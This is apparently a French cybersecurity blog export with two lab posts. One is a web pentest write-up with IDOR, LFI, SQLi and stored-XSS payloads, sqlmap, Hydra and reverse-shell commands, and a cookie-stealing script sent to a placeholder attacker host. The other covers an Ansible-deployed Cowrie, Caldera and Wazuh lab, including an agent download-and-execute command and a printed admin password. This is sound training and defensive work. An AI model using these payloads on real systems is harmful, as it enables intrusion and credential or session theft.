d\u0026rsquo;autorisation suffisant.\nExemple conceptuel:\nGET /profile.php?id=2 HTTP/1.1 Host: tp2.esdown.local Si un utilisateur peut changer id=2 en id=1 et accéder au profil d\u0026rsquo;un autre utilisateur, l\u0026rsquo;application présente une faille de contrôle d\u0026rsquo;accès.\nImpact:\nfuite de données utilisateurs accès à des objets non autorisés escalade fonctionnelle LFI - Local File Inclusion # Une LFI permet de lire des fichiers locaux depuis le serveur.\nExemple conceptuel:\nGET /view.php?page=../../../../etc/passwd HTTP/1.1 Host: tp2.esdown.local Fichiers intéressants en lab:\n/etc/passwd /var/www/html/config.php /var/log/apache2/access.log Risques:\nfuite de code source exposition de credentials pivot vers RCE si les logs ou uploads sont exploitables Reverse shell et post-exploitation # Après identification d\u0026rsquo;un chemin exploitable, un reverse shell peut être déclenché en environnement contrôlé.\nListener:\nnc -lvnp 4444 Stabilisation:\npython3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; export TERM=xterm Post-exploitation:\nid hostname pwd ls -la find /var/www -type f -name \u0026#34;*.php\u0026#34; Analyse du code source # L\u0026rsquo;accès au code source permet de comprendre la logique applicative et de retrouver des secrets.\nPoints à rechercher:\nidentifiants hardcodés clés API secrets JWT credentials base de données fonctions dangereuses (eval, system, exec) absence de validation serveur TP3 - SQL Injection # Le troisième scénario se concentre sur une injection SQL.\nObjectifs:\ndétecter une injection contourner une authentification énumérer la base extraire des données sensibles comprendre l\u0026rsquo;impact métier Test manuel # Payload classique:\n\u0026#39; OR \u0026#39;1\u0026#39;=\u0026#39;1 Exemple dans un champ login:\nadmin\u0026#39; OR \u0026#39;1\u0026#39;=\u0026#39;1-- - Exploitation avec SQLMap # sqlmap -u \u0026#34;http://tp3.esdown.local/login.php\u0026#34; \\ --data=\u0026#34;username=test\u0026amp;password=test\u0026#34; \\ --batch --dbs Énumération:\nsqlmap -u \u0026#34;http://tp3.esdown.local/login.php\u0026#34; --data=\u0026#34;username=test\u0026amp;password=test\u0026#34; --tables sqlmap -u \u0026#34;http://tp3.esdown.local/login.php\u0026#34; --data=\u0026#34;username=test\u0026amp;password=test\u0026#34; -T users --dump Impact:\ncontournement d\u0026rsquo;authentification extraction d\u0026rsquo;utilisateurs extraction de partenaires ou données métier risque de compromission complète si le compte DB est trop privilégié TP4 - XSS stockée et compromission admin # Le quatrième scénario documente une XSS stockée menant au vol de cookie administrateur.\nForce brute contrôlée # Une tentative Hydra est réalisée contre le formulaire de login, mais ne donne pas de résultat valide.\nhydra -l admin -P admin-pass.txt tp4.esdown.local http-post-form \u0026#34;/login.php:user=^USER^\u0026amp;pass=^PASS^:Invalid\u0026#34; Cela confirme que la compromission ne vient pas d\u0026rsquo;un mot de passe faible dans ce scénario.\nDécouverte de la XSS stockée # Une zone de commentaire ou de profil accepte du HTML/JavaScript sans encodage correct.\nPayload de test:\n\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; Si le script se rejoue lors de la consultation par un autre utilisateur, la faille est stockée.\nVol de cookie en lab # Payload conceptuel:\n\u0026lt;script\u0026gt; fetch(\u0026#39;http://ATTACKER:8000/?c=\u0026#39; + document.cookie) \u0026lt;/script\u0026gt; Listener:\npython3 -m http.server 8000 Impact:\nvol de session usurpation du compte administrateur modification de mot de passe accès à des fonctions privilégiées Session hijacking # Une fois le cookie récupéré dans le lab, il est réinjecté dans le navigateur.\nÉtapes:\nrécupérer la valeur du cookie ouvrir DevTools remplacer le cookie de session recharger la page admin Résultat attendu:\naccès administrateur sans connaître le mot de passe Vulnérabilités identifiées # Vulnérabilité Impact Correction IDOR accès à des ressources non autorisées vérifier les droits côté serveur LFI lecture de fichiers locaux whitelist stricte des fichiers autorisés SQLi extraction DB / bypass auth requêtes préparées XSS stockée vol de session admin output encoding + CSP session faible hijacking cookies HttpOnly, Secure, SameSite Recommandations défensives # Côté développement # utiliser des requêtes préparées encoder toutes les sorties HTML valider les entrées côté serveur centraliser les contrôles d\u0026rsquo;autorisation ne jamais faire confiance aux headers client Côté infrastructure # isoler les applications vulnérables protéger les interfaces admin durcir les cookies journaliser les actions sensibles détecter les patterns d\u0026rsquo;exploitation Côté SOC # À surveiller:\npayloads SQLi dans les logs \u0026lt;script\u0026gt; dans les champs utilisateurs accès anormaux à /etc/passwd création soudaine de sessions admin requêtes vers IP externe depuis une page admin Ce que ce projet m\u0026rsquo;a apporté # Ce projet m\u0026rsquo;a permis de travailler une chaîne web complète:\ninterception HTTP exploitation manuelle automatisation contrôlée post-exploitation web analyse de code source raisonnement défensif OWASP Conclusion # Ce lab montre qu\u0026rsquo;une application web vulnérable ne tombe pas toujours à cause d\u0026rsquo;une seule faille critique. C\u0026rsquo;est souvent l\u0026rsquo;enchaînement de faiblesses qui permet d\u0026rsquo;obtenir un impact majeur.\nLa correction doit donc combiner secure coding, contrôle d\u0026rsquo;accès, gestion de session, monitoring et tests réguliers.\n","date":"8 mai 2026","externalUrl":null,"permalink":"/posts/web-application-pentest-lab/","section":"Posts","summary":"Projet personnel de pentest web: manipulation HTTP, IDOR, LFI, reverse shell, SQL Injection, XSS stockée, vol de session et recommandations OWASP.","title":"Web Application Pentest Lab - IDOR, LFI, SQLi and Stored XSS","type":"posts"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/web-pentest/","section":"Tags","summary":"","title":"Web Pentest","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/xss/","section":"Tags","summary":"","title":"XSS","type":"tags"},{"content":"","date":"20 mars 2025","externalUrl":null,"permalink":"/tags/ansible/","section":"Tags","summary":"","title":"Ansible","type":"tags"},{"content":"","date":"20 mars 2025","externalUrl":null,"permalink":"/tags/caldera/","section":"Tags","summary":"","title":"Caldera","type":"tags"},{"content":" Introduction # Dans un contexte où la cybersécurité devient chaque jour plus critique, il est primordial de disposer d\u0026rsquo;un environnement de test permettant de simuler des attaques et d\u0026rsquo;analyser les comportements des attaquants en temps réel. Ce projet vise à automatiser la mise en place d\u0026rsquo;un lab de cybersécurité à l\u0026rsquo;aide d\u0026rsquo;Ansible, en orchestrant le déploiement et la configuration de plusieurs machines virtuelles (VMs). Grâce à l\u0026rsquo;intégration de solutions telles que Caldera pour simuler des attaques C2, Cowrie pour agir comme honeypot, et Wazuh pour centraliser et analyser les logs, l\u0026rsquo;objectif est de créer un écosystème complet permettant d\u0026rsquo;étudier les tactiques, techniques et procédures (TTPs) des attaquants et de valider la résilience d\u0026rsquo;une infrastructure.\n1. Configuration et déploiement de l\u0026rsquo;environnement # Pour ce projet, nous allons configurer un environnement de test avec 4 machines virtuelles (VMs) sous VMware, chacune ayant une mission définie. Commençons par la première :\nVM Cowrie (Honeypot)\nInstallée sous Ubuntu 22.04 et assignée à une IP statique (192.168.243.130), cette machine simulera un serveur vulnérable exposé sur SSH/Telnet via l’outil Cowrie. Son rôle est double : Attirer les attaquants en imitant des services sensibles et capturer leurs actions (commandes, téléchargements, etc.) tout en transférant ces logs vers notre SIEM pour analyse.\nVM Caldera (Serveur C2)\nHébergée sur Ubuntu 22.04 (IP : 192.168.243.131), cette machine exécutera la plateforme Caldera pour orchestrer des attaques réalistes. Grâce à son agent Sandcat, déployé sur les cibles, elle permettra de tester nos défenses en reproduisant des techniques MITRE ATT\u0026amp;CK, telles que l’exfiltration de données ou les mouvements latéraux.\nVM Wazuh (SIEM)\nSur Ubuntu 22.04 (IP : 192.168.243.132), cette machine centralisera les logs des autres machines via Wazuh Manager. Pour renforcer son utilité, nous y intégrerons Elasticsearch et Kibana afin de visualiser les données en temps réel. Un point crucial sera la création de règles personnalisées pour détecter les TTPs référencés par MITRE, permettant d’identifier rapidement les comportements suspects.\nVM Ansible (Automatisation)\nSur Ubuntu 22.04 (IP : 192.168.243.129), contiendra les playbooks Ansible pour déployer et configurer les autres VMs sans intervention manuelle. Par exemple, un playbook pourra installer Cowrie avec ses dépendances, un autre configurera Wazuh avec ses connecteurs, et un troisième déploiera Caldera avec ses profils d’attaques prédéfinis. Cette centralisation réduit les erreurs et accélère les mises à jour.\nLa VM Cowrie tournera sous 2 Go de RAM et 20 Go de stockage, la VM Caldera sous 2 Go de RAM et 20 Go de stockage, la VM Wazuh sous 4 Go de RAM et 40 Go de stockage, et la VM Ansible sous 1 Go de RAM et 20 Go de stockage. Toutes les machines utiliseront Ubuntu 22.04.\nL’idée est de créer un écosystème cohérent dans lequel les interactions entre le honeypot, le simulateur d’attaques (Caldera) et le SIEM (Wazuh) permettent de valider la résilience globale de l\u0026rsquo;infrastructure. L\u0026rsquo;automatisation via Ansible ajoute une couche de reproductibilité essentielle pour des tests itératifs et garantit la cohérence des configurations.\n2. Mise à jour et installation des outils de base # 2.1. Installation de base (pour toutes les VMs) # Pour cette opération on se servira de notre vm-ansible pour deployer les configurations sur les trois autres machines\nInstallation d\u0026rsquo;Ansible (Control Node) sudo apt update sudo apt install -y ansible git Vérification : ansible --version 2.2 Configuration de l\u0026rsquo;Environnement Ansible # Création de la structure de nos dossiers : mkdir -p ~/ansible-cowrie/{inventory,playbooks} cd ~/ansible-cowrie Création du fichier d\u0026rsquo;inventaire (inventory.ini) : --- - name: Configuration de base des machines Ubuntu hosts: all become: yes tasks: - name: Mise à jour des paquets apt: update_cache: yes upgrade: dist - name: Installer les outils de base apt: name: - openssh-server - git - curl - ufw - wget - htop - net-tools - software-properties-common - python3 - python3-pip - python3-venv - bash-completion state: present - name: Activer et démarrer le service SSH systemd: name: ssh enabled: yes state: started - name: Configurer le pare-feu UFW ufw: state: enabled policy: deny direction: incoming - name: Autoriser SSH dans le pare-feu ufw: rule: allow port: 22 proto: tcp - name: Nettoyage du système apt: autoremove: yes autoclean: yes Il nous faut ensuite configurer le sudo sans mot de passe (NOPASSWD) via un playbook Ansible, pour que nos machines distants puissent exécuter des commandes avec sudo sans devoir entrer leur mot de passe à chaque fois.\nVoici à quoi ressemblera notre playbook:\n--- - name: Activer sudo sans mot de passe (NOPASSWD) hosts: all become: true tasks: - name: Créer un fichier sudoers pour autoriser NOPASSWD copy: dest: \u0026#34;/etc/sudoers.d/{{ ansible_user }}_nopasswd\u0026#34; content: \u0026#34;{{ ansible_user }} ALL=(ALL) NOPASSWD:ALL\u0026#34; owner: root group: root mode: \u0026#39;0440\u0026#39; Ce playbook utilise la variable ansible_user pour adapter la ligne à chaque machine.\nÉtant donné que l\u0026rsquo;option NOPASSWD n\u0026rsquo;est pas encore activé, il faudra lancer notre playbook avec l\u0026rsquo;option--ask-become-pass puis ensuite on pourra éxécuter tous les futurs playbooks sans cette option.\nansible-playbook -i inventory/hosts.ini playbooks/sudo_nopasswd.yml --ask-become-pass On exécute ensuite nôtre playbook setup.yml pour lancer l\u0026rsquo;opération de configuration de nos différentes machines:\nansible-playbook -i hosts.ini ../playbook/setup.yml Le playbook s’est bien déroulé comme on peut le voir, sans aucune erreur, et tout devrait donc être fonctionnel.\n3. Installation et configuration des services # 3.1. VM Cowrie (Honeypot) # À ce niveau, nous allons d\u0026rsquo;abord procéder manuellement pour nous familiariser avec l\u0026rsquo;outil, avant d\u0026rsquo;automatiser le déploiement à l\u0026rsquo;aide d\u0026rsquo;un playbook Ansible.\n3.2. Déploiement manuel # a) Installation des dépendances et de Cowrie # Installation des paquets requis : sudo apt install git python3-virtualenv python3-dev libssl-dev libffi-dev build-essential -y clonage du dépôt Cowrie : git clone https://github.com/Cowrie/Cowrie.git cd Cowrie Création et activation d\u0026rsquo;un environnement virtuel : virtualenv Cowrie-env source Cowrie-env/bin/activate Mise à jour et installation des dépendances Python: pip install --upgrade pip pip install -r requirements.txt b) Configuration et démarrage\nCopie et vérification du fichier de configuration : cp Cowrie.cfg.dist Cowrie.cfg nano Cowrie.cfg [ssh] # Écoute sur le port 2222, toutes interfaces (0.0.0.0) listen_endpoints = tcp:2222:interface=0.0.0.0 # Port que l\u0026#39;attaquant \u0026#34;voit\u0026#34; (22 pour l\u0026#39;illusion) guest_ssh_port = 22 # [output_jsonlog] enabled = true logfile = ${honeypot:log_path}/Cowrie.json epoch_timestamp = false Scan de ports nmap et redirection de port guest_ssh_port est juste un Leurre logiciel* (pour l\u0026rsquo;attaquant connecté). Lors d\u0026rsquo;un scan nmap 192.168.243.130 -p 22,2222 dans l\u0026rsquo;\u0026rsquo;etat actuel, l\u0026rsquo;attaquant verra:\n\u0026gt; PORT STATE SERVICE 22/tcp closed ssh # Port 22 fermé (pas de redirection) 2222/tcp open ssh # Cowrie écoute ici, identifié comme SSH Sans redirection authbind, seul le port 2222 est visible Nmap détecte un service SSH sur ce port. Tandis qu\u0026rsquo;avec une redirection 22 → 2222 le résultat ressemblera à ça:\nPORT STATE SERVICE 22/tcp open ssh # Redirection vers Cowrie (2222) 2222/tcp open ssh Correspond donc mieux à notre vision et permettra aux attaquants ciblant le port 22 standard d\u0026rsquo;être automatiquement dirigés vers le honeypot.\nÉtape 1 : Installation de authbind sudo apt update \u0026amp;\u0026amp; sudo apt install -y authbind Étape 2 : Configuration de authbind pour le port 22 Création du fichier de règle pour le port 22 : sudo touch /etc/authbind/byport/22 Définir les permissions pour l\u0026rsquo;utilisateur Cowrie : sudo chown Cowrie:Cowrie /etc/authbind/byport/22 sudo chmod 770 /etc/authbind/byport/22 Étape 3 : Modification de la configuration de Cowrie Dans Cowrie.cfg, il faudra ajuster la section [ssh] pour écouter directement sur le port 22 :\nÀ cette étape on pourrait activer manuellement notre service avec la commande bin/Cowrie start mais celà est plus utile dans un cas où on voudrait faire un test rapide. En environnement de production ou dans un cas de projet comme le notre nous utiliseront systemd pour des raisons de fiabilité mais surtout de persistance et d\u0026rsquo;intégration système.\nÉtape 4 : Création du fichier de service systemd Création et configuration du fichier: sudo nano /etc/systemd/system/cowrie.service Nous utiliserons cette configuration:\n[Unit] Description=A SSH and Telnet honeypot service After=network.target After=rsyslog.service [Service] User=Cowrie Group=Cowrie Restart=always RestartSec=5 Environment=PYTHONPATH=/home/cowrie/cowrie/src WorkingDirectory=/home/cowrie/cowrie ExecStart=/home/cowrie/cowrie/cowrie-env/bin/python /home/cowrie/cowrie/cowrie-env/bin/twistd --umask 0022 --nodaemon --pidfile= -l - cowrie ExecStart=/usr/bin/authbind --deep /home/cowrie/cowrie/cowrie-env/bin/python /home/cowrie/cowrie/cowrie-env/bin/twistd --umask 0022 --nodaemon --pidfile= -l - Cowrie StandardOutput=syslog StandardError=syslog SyslogIdentifier=Cowrie [Install] WantedBy=multi-user.target Rechargement de systemd et démarrage de Cowrie sudo systemctl daemon-reload sudo systemctl start cowrie ** Configuration Activation du démarrage automatique (optionnel) sudo systemctl enable cowrie Vérification de l\u0026rsquo;état du service Le service comme on peut le voir est donc bien fonctionnel, mais il démarre toujours sur le port 2222. Suite à quelaues recherches sur l\u0026rsquo;erreur on apprends que dans certains environnements, systemd peut ne pas transmettre l’environnement habituel à authbind.\nUne alternative consiste à utiliser la méthode des capacités Linux pour permettre à Python de binder sur un port privilégié sans être root. On peut utiliser:\nsudo setcap cap_net_bind_service=+ep $(readlink -f /home/Cowrie/Cowrie/Cowrie-env/bin/python) Depuis notre VM Caldera on a pu se connecter et confirmer que notre honeypot marche bien:\nCowrie accepte n\u0026rsquo;importe quel identifiant et mot de passe pour la connexion SSH, car son but est de piéger les attaquants et d\u0026rsquo;enregistrer leurs tentatives.\n3.3. Automatisation du déploiement avec Ansible # Notre playbook devra exécuter les tâches ci-après :\nInstaller les paquets essentiels Cloner le dépôt Git de Cowrie dans le répertoire approprié Créer un environnement virtuel dans le dossier de Cowrie Installer les dépendances Python listées dans le fichier requirements.txt Copier le fichier de configuration d\u0026rsquo;exemple pour initialiser la configuration Modifier la configuration pour que Cowrie écoute sur le port 22 Déployer le service systemd pour démarrer automatiquement Cowrie Activer et démarrer le service Cowrie Dans notre dossier de playbooks, nous créons un fichier YAML nommé deploy_cowrie.yml qui contiendra l\u0026rsquo;ensemble de ces tâches. Voici le contenu complet du playbook :\n--- - name: Déployer Cowrie avec authbind hosts: cowrie become: yes vars: cowrie_user: cowrie cowrie_dir: \u0026#34;/home/{{ cowrie_user }}/Cowrie\u0026#34; cowrie_env: \u0026#34;{{ cowrie_dir }}/Cowrie-env\u0026#34; tasks: - name: Créer l\u0026#39;utilisateur cowrie user: name: \u0026#34;{{ cowrie_user }}\u0026#34; shell: /bin/bash home: \u0026#34;/home/{{ cowrie_user }}\u0026#34; create_home: yes - name: Installer les dépendances apt: name: - git - python3-virtualenv - python3-dev - libssl-dev - libffi-dev - build-essential - authbind state: present update_cache: yes - name: Cloner Cowrie git: repo: https://github.com/cowrie/cowrie.git dest: \u0026#34;{{ cowrie_dir }}\u0026#34; version: main - name: Créer l\u0026#39;environnement virtuel command: \u0026#34;python3 -m venv {{ cowrie_env }}\u0026#34; args: chdir: \u0026#34;{{ cowrie_dir }}\u0026#34; creates: \u0026#34;{{ cowrie_env }}\u0026#34; - name: Installer les dépendances Python pip: executable: \u0026#34;{{ cowrie_env }}/bin/pip\u0026#34; requirements: \u0026#34;{{ cowrie_dir }}/requirements.txt\u0026#34; - name: Configurer authbind pour le port 22 file: path: /etc/authbind/byport/22 state: touch mode: \u0026#39;0770\u0026#39; owner: \u0026#34;{{ cowrie_user }}\u0026#34; group: \u0026#34;{{ cowrie_user }}\u0026#34; - name: Copier le fichier de configuration cowrie.cfg copy: src: \u0026#34;{{ cowrie_dir }}/etc/cowrie.cfg.dist\u0026#34; dest: \u0026#34;{{ cowrie_dir }}/etc/cowrie.cfg\u0026#34; remote_src: yes notify: Redémarrer Cowrie - name: Modifier le port d\u0026#39;écoute dans cowrie.cfg replace: path: \u0026#34;{{ cowrie_dir }}/etc/cowrie.cfg\u0026#34; regexp: \u0026#39;^#?listen_endpoints = .*\u0026#39; replace: \u0026#39;listen_endpoints = tcp:22:interface=0.0.0.0\u0026#39; notify: Redémarrer Cowrie - name: Déployer le service systemd pour Cowrie copy: dest: /etc/systemd/system/cowrie.service content: | [Unit] Description=Cowrie SSH Honeypot After=network.target [Service] User={{ cowrie_user }} Group={{ cowrie_user }} WorkingDirectory={{ cowrie_dir }} ExecStart=/usr/bin/authbind --deep {{ cowrie_env }}/bin/python {{ cowrie_dir }}/bin/cowrie start --nodaemon Restart=always RestartSec=5s [Install] WantedBy=multi-user.target notify: Redémarrer Cowrie - name: Activer et démarrer le service Cowrie systemd: name: cowrie state: started enabled: yes daemon_reload: yes handlers: - name: Redémarrer Cowrie systemd: name: cowrie state: restarted On éxécute ensuite notre playbook avec la commande:\nansible-playbook -i ../inventory/inventory.ini deploy-cowrie.yml Comme on peut le voir toutes les tâches ont été effectuées avec succès.\n4. VM Caldera – Déploiement du Serveur C2 # 4.1. Installation de Caldera # Clonage du dépôt et préparation de l\u0026rsquo;environnement\nLa récupération du code source et la préparation de l\u0026rsquo;environnement Python se font par les commandes suivantes : git clone https://github.com/mitre/caldera.git cd caldera python3 -m venv env source env/bin/activate pip install --upgrade pip pip install -r requirements.txt 4.2. Compilation du Front-end et Accès à l\u0026rsquo;interface web # La construction des composants VueJS se déclenche avec le lancement du serveur en ajoutant l\u0026rsquo;option --build (la présence de Node.js et npm est requise) :\npython3 server.py --insecure --build Accès à l\u0026rsquo;interface\nL\u0026rsquo;interface web est accessible via l\u0026rsquo;URL http://localhost:8888 ou via l\u0026rsquo;adresse IP de la VM Caldera.\nLes identifiants par défaut, tels qu\u0026rsquo;indiqués dans le fichier de configuration (red pour le nom d\u0026rsquo;utilisateur et admin pour le mot de passe), permettent l\u0026rsquo;accès à l\u0026rsquo;interface. On peux modifier les identifiants par défauts et configurations contenues dans le fichier ``/Caldera/conf/dafault.yml\n4.3. Intégration de plugins # Les messages du serveur indiquent l\u0026rsquo;activation de plugins tels que Sandcat, Atomic, Manx, etc. Pour le plugin Atomic Red Team, une erreur est survenu empêchant le clonage. Un clonage manuel sera donc effectué.\nmkdir -p plugins/atomic/data git clone https://github.com/redcanaryco/atomic-red-team.git plugins/atomic/data/atomic-red-team Atomic Red Team est une bibliothèque open source de tests de sécurité mappés au framework MITRE ATT\u0026amp;CK, permettant aux équipes de sécurité de simuler des techniques d\u0026rsquo;attaque pour évaluer et améliorer leurs défenses.\n4.4. Déploiement de l\u0026rsquo;agent Caldera sur la VM Cowrie # Dans la section CAMPAIGNS\u0026gt;agents cliquer sur Deploy an agent puis renseigner les informations nécessaires comme suit:\nDans un exercice Red Team la variable agents.implant_name aurait eu un nom peu évident pour éviter les soupçons ou détection rapide par la Blue Team. Dans notre cas on l\u0026rsquo;appelera juste Caldera pour un suivi simple\nGénération et exécution de la commande de déploiement de l\u0026rsquo;agent: server=\u0026#34;http://192.168.243.131:8888\u0026#34;;curl -s -X POST -H \u0026#34;file:sandcat.go\u0026#34; -H \u0026#34;platform:linux\u0026#34; $server/file/download \u0026gt; caldera;chmod +x caldera;./caldera -server $server -group red -v Le processus de déploiement est ainsi achevé et l\u0026rsquo;agent Caldera a pu établir une connexion comme l\u0026rsquo;indique l\u0026rsquo;apparition de notre cible dans la section agents du dashboard avec le statut Alive,trusted: Simulation d\u0026rsquo;attaques et exécution de commandes distantes: Pour cette étape nous allons dans la section CAMPAIGNS \u0026gt; operations puis sélectionner l\u0026rsquo;option New Operation.\nIci plusieurs options s\u0026rsquo;offrent à nous de l\u0026rsquo;exécution de commandes manuelles à la création et/ou l\u0026rsquo;utilisation de profils d\u0026rsquo;adversaires pré-enregistrés, offrant une éxécution automatisé d\u0026rsquo;ensembles de commandes pour conduire diverses opérations allant de la reconnaissance, aux mouvements latérals, en passant par de l\u0026rsquo;evasion d\u0026rsquo;AV et pleins d\u0026rsquo;autres choses.\nDans notre cas on utilisera le profil Discovery pour rapidement avoir un apperçu:\nComme on peut le voir sur la sortie tout fonctionne correctement, et il ne nous reste qu\u0026rsquo;à configurer le monitoring et l\u0026rsquo;agrégation des logs avec notre SIEM.\n5. VM Wazuh – Déploiement du SIEM # 5.1. Installation # Utilisation du script d\u0026rsquo;installation\nLa méthode recommandée pour installer l\u0026rsquo;ensemble des composants (Wazuh Server, Indexer et Dashboard) consiste à utiliser le script officiel en mode « all-in-one ».\nLa commande suivante (exécutée sur notre VM Wazuh, IP 192.168.243.132) télécharge et lance le script : curl -sO https://packages.Wazuh.com/4.11/Wazuh-install.sh \u0026amp;\u0026amp; sudo bash ./Wazuh-install.sh -a -o Accès au dashboard avec nos identifiants: INFO: You can access the web interface https://\u0026lt;Wazuh-dashboard-ip\u0026gt;:443 User: admin Password: LlFP5?DlyG*n5q+H76xZgQj*dJeb7scl INFO: Installation finished. Pour des raison de sécurité ou de covenience on pourrait changer les identifiants généré par défaut, ce qui est fortement conseillé en prod mais pour notre projet on le maintiendra tel quel.\n5.2 Installation de l\u0026rsquo;Agent Wazuh sur la VM Cowrie # Dans la section Agents management \u0026gt; Summary, après avoir cliqué sur Deploy new agent on renseigne les informations relatifs à notre machine et l\u0026rsquo;adresse du serveur (VM Cowrie 192.168.243.130)\nSur notre VM Cowrie on colle, puis exécute la commande et on obtient un résultat similaire à celui ci-dessous: Activation et démarrage du service Wazuh-agent systemctl daemon-reload systemctl enable Wazuh-agent systemctl start Wazuh-agent Le processus de déploiement est maintenant terminé et l\u0026rsquo;agent Wazuh fonctionne avec succès sur votre système Linux et comme le montre la capture de la section endpoints-summary. La documentation officielle recommande de désactiver les mises à jour de Wazuh étant donné que la compatibilité entre l\u0026rsquo;agent Wazuh et le gestionnaire de Wazuh n\u0026rsquo;est garantie que lorsque la version Wazuh Manager est supérieur ou égale à celle de l\u0026rsquo;agent Wazuh et donc d\u0026rsquo;éviter les mises à niveau accidentelles en utilisant la commande:\nsed -i \u0026ldquo;s/^deb/#deb/\u0026rdquo; /etc/apt/sources.list.d/Wazuh.list \u0026amp;\u0026amp; apt-get update\n**NB:** Pour de futurs mises à jour il nous suffira de dé-commenter cette ligne dans le fichier /etc/apt/sources.list. 5.3 Configuration du monitoring des logs Cowrie # Un Groupe nommé cowrie a été créé et assigné à l\u0026rsquo;agent via le dashboard, en y intégrant la configuration suivante dans le fichier agent.conf:\n\u0026lt;agent_config\u0026gt; \u0026lt;localfile\u0026gt; \u0026lt;log_format\u0026gt;json\u0026lt;/log_format\u0026gt; \u0026lt;location\u0026gt;/home/cowrie/cowrie/var/log/cowrie/cowrie.json\u0026lt;/location\u0026gt; \u0026lt;/localfile\u0026gt; \u0026lt;/agent_config\u0026gt; Cette configuration permet de diriger l’analyse des logs vers le fichier cowrie.json. Comme le montre la capture de la rubrique log data analysis de la section Agents Management \u0026gt; Summary, le chemin est correctement renseigné.\nÀ cette étape, aucune alerte n’apparaît encore dans le SIEM, car les règles d’alerte spécifiques n’ont pas encore été définies.\n5.4. Définition des Règles d’Alerte Personnalisées # Les règles suivantes ont été définies pour détecter les événements spécifiques issus de Cowrie. Ces règles seront collées dans le fichier local_rules.xml via le dashboard (Server Management \u0026gt; Rules \u0026gt; Manage rules \u0026gt; Manage rules files \u0026gt; Custom rules) :\n\u0026lt;group name=\u0026#34;cowrie\u0026#34;\u0026gt; \u0026lt;!-- Règle pour détecter le début d\u0026#39;une session sur Cowrie --\u0026gt; \u0026lt;rule id=\u0026#34;100010\u0026#34; level=\u0026#34;3\u0026#34;\u0026gt; \u0026lt;decoded_as\u0026gt;json\u0026lt;/decoded_as\u0026gt; \u0026lt;match\u0026gt;cowrie.session.params\u0026lt;/match\u0026gt; \u0026lt;description\u0026gt;Session démarrée sur le honeypot Cowrie\u0026lt;/description\u0026gt; \u0026lt;group\u0026gt;cowrie,session\u0026lt;/group\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;!-- Règle pour détecter une commande saisie sur Cowrie --\u0026gt; \u0026lt;rule id=\u0026#34;100011\u0026#34; level=\u0026#34;5\u0026#34;\u0026gt; \u0026lt;decoded_as\u0026gt;json\u0026lt;/decoded_as\u0026gt; \u0026lt;match\u0026gt;cowrie.command.input\u0026lt;/match\u0026gt; \u0026lt;description\u0026gt;Commande saisie sur le honeypot Cowrie\u0026lt;/description\u0026gt; \u0026lt;group\u0026gt;cowrie,command\u0026lt;/group\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;!-- Règle pour détecter une commande échouée sur Cowrie --\u0026gt; \u0026lt;rule id=\u0026#34;100012\u0026#34; level=\u0026#34;7\u0026#34;\u0026gt; \u0026lt;decoded_as\u0026gt;json\u0026lt;/decoded_as\u0026gt; \u0026lt;match\u0026gt;cowrie.command.failed\u0026lt;/match\u0026gt; \u0026lt;description\u0026gt;Commande échouée sur le honeypot Cowrie\u0026lt;/description\u0026gt; \u0026lt;group\u0026gt;cowrie,command\u0026lt;/group\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;!-- Règle pour détecter la fermeture d\u0026#39;une session sur Cowrie --\u0026gt; \u0026lt;rule id=\u0026#34;100013\u0026#34; level=\u0026#34;4\u0026#34;\u0026gt; \u0026lt;decoded_as\u0026gt;json\u0026lt;/decoded_as\u0026gt; \u0026lt;match\u0026gt;cowrie.session.closed\u0026lt;/match\u0026gt; \u0026lt;description\u0026gt;Session fermée sur le honeypot Cowrie\u0026lt;/description\u0026gt; \u0026lt;group\u0026gt;cowrie,session\u0026lt;/group\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;/group\u0026gt; 5.5. Test de la Configuration et Simulation d’Attaques # Depuis nos autres VM, on initie une connexion SSH vers le honeypot afin de simuler une attaque. Plusieurs commandes (ex. : whoami, ls -alh \u0026gt; ~/bin-list.txt | tail -n 5 ~/bin-list.txt, ps aux | grep 'system', ls -alh) selon le profil discory de notre C2 caldera sont exécutées, puis la session est fermée. Ces interactions génèrent des entrées dans notre fichier de logs cowrie.json.\nDe retour dans la section Discover du SIEM, on peut bel et bien constater l’apparition des alertes relatives aux opérations sur le honeypot selon les règles définies.\n5.6 Analyse des logs # Le champ data.src_ip, indiquant 192.168.243.130, confirme que l\u0026rsquo;opération provient bien de notre VM Ansible. Par ailleurs, le champ location précise que le log provient du chemin /home/cowrie/cowrie/var/log/cowrie/cowrie.json, ce qui correspond à celui de notre honeypot. De plus, le champ rule.description, avec des mentions telles que Commande saisie sur le honeypot Cowrie ou Session fermée sur le honeypot Cowrie, nous informe de l’alerte déclenchée, conformément aux règles définies dans le fichier local_rules.xml. D\u0026rsquo;autres champs, comme data.input qui recense les commandes exécutées, ou timestamp qui enregistre l’horodatage, fournissent également des informations essentielles pour le suivi et l\u0026rsquo;investigation de la provenance des attaquants, l\u0026rsquo;analyse des TTP (Tactiques, Techniques et Procédures) ainsi que d\u0026rsquo;autres éléments pertinents.\nIci nous pouvons voir les même informations relatives à l\u0026rsquo;ip source 192.168.243.129 donc à notre connexion depuis la VM Ansible.\n5.7. Analyse Approfondie et Visualisation # Une fois les alertes générées, des étapes supplémentaires peuvent nous permettre d’isoler et d’analyser les logs liés au honeypot :\nIsolation des Logs du Honeypot :\nPour concentrer l’analyse sur l’activité malveillante capturée par Cowrie, nous utilisons les filtres avancés de Kibana :\nFiltre par agent : agent.name : \u0026quot;cowrie-vm\u0026quot; pour isoler les événements du honeypot.\nFiltre par tag : rule.groups : \u0026quot;cowrie\u0026quot; pour cibler les règles personnalisées dédiées.\nCette isolation permet de se concentrer sur les données pertinentes et d’éviter le bruit généré par d’autres sources.\nPour optimiser l’analyse, le résultat de cette recherche est sauvegardé (sous le nom honey-pots-log) afin de générer une visualisation spécifique aux événements de notre honeypot.\nCréation de Visualisations Personnalisées :\nNos visualisations regrouperont les indicateurs clés (nombre de sessions, commandes exécutées, taux d’échec, etc.) avec des graphiques.\nCes graphs permettront d’obtenir un aperçu global de l’activité sur le honeypot et de détecter des comportements 